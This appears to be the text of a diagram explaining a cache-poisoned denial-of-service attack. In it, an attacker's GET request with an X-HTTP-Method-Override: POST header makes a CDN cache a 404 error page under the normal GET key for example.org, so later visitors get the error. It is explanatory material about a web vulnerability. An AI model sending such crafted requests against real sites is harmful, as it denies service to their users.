

Client

Attacker send a GET request with method overriding header

①

```
GET /index.html HTTP/1.1
Host: example.org
Accept: */*
X-HTTP-Method-Override: POST
```



Benign client sends a request for receiving the start page

⑤

```
GET /index.html HTTP/1.1
Host: example.org
Accept: */*
```

CDN returns the error page instead of the start page

⑦

```
HTTP/1.1 404 Not Found
Content-Type: text/plain
Content-Length: 29
```

```
POST on /index.html not found
```



CDN/Proxy Cache

④

CDN stores the response under the cache key
[GET https://example.org/index.html](https://example.org/index.html)

```
HTTP/1.1 404 Not Found
Content-Type: text/plain
Content-Length: 29
```

POST on /index.html not found

⑥



CDN registers a cache hit for
[GET https://example.org/index.html](https://example.org/index.html)

Web Server

CDN forwards the GET request to the Web Server

②

```
GET /index.html HTTP/1.1
Host: example.org
Accept: */*
X-HTTP-Method-Override: POST
```



③

Web Server interpret this request as a POST request and returns a response according to the POST method

```
HTTP/1.1 404 Not Found
Content-Type: text/plain
Content-Length: 29
```

```
POST on /index.html not found
```

